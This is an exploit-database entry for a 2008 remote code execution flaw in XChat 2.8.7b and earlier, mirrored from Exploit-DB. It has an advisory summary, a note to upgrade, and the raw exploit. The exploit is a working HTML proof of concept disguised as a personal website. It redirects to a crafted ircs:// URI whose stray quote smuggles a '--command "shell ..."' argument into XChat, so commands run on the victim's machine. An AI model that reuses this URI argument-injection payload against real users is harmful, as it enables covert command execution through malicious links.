Xchat - exploit.company

vendor:

XChat

by:

Greetz: French/Quebec community, http://spiritofhack.net/

N/A

CVSS

N/A

Remote Code Execution

N/A

CWE

Product Name: XChat

Affected Version From: XChat 2.8.7b and prior versions

Affected Version To: XChat 2.8.7b and prior versions

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP1+SP2+SP3, IE6 & IE7

2008

Xchat <= 2.8.7b Remote Code Execution

XChat is prone to a vulnerability that allows remote attackers to execute arbitrary commands in the context of the vulnerable user. This issue arises because of improper handling of the 'ircs://' URI. An attacker can exploit this issue by enticing an unsuspecting user to click a malicious link.

Mitigation:

Upgrade to the latest version of XChat

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/29696/info

XChat is prone to a vulnerability that allows remote attackers to execute arbitrary commands in the context of the vulnerable user. This issue may lead to a remote compromise.

The issue arises because of improper handling of the 'ircs://' URI.

XChat 2.8.7b and prior versions are vulnerable to the issue. 

##################################################################################################################
#
# Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
# Vendor : http://xchat.org/
# Affected Os : Windows *
# Risk : critical
#
# This bug is related to the URI Handler vulnerability but the approch is a bit different.
# We don't use any % or  ../../../ as the others related bugs, just a single "
# According to the registry , when the IRCS:// URI is called , the command launched is :
# C:\Program Files\xchat\xchat.exe --existing --url="%1"
#
# The xchat --help option tells us :
# " --command=COMMAND :Send a command to existing xchat "
#
# So we add a simple " at the end of the URL and we're in business ?
# Yep =) ircs://blabla@3.3.3.3" --command "shell calc"
#
# Note: The victim needs to be connected to an irc server , and also need IE * .
#
#
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
#
# Poc: this only launch the calc, sky is the limit passed this point.
<html>
<head><title>Welcome to my personal website</title></head>
<body>
<script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script>
</body>
</html>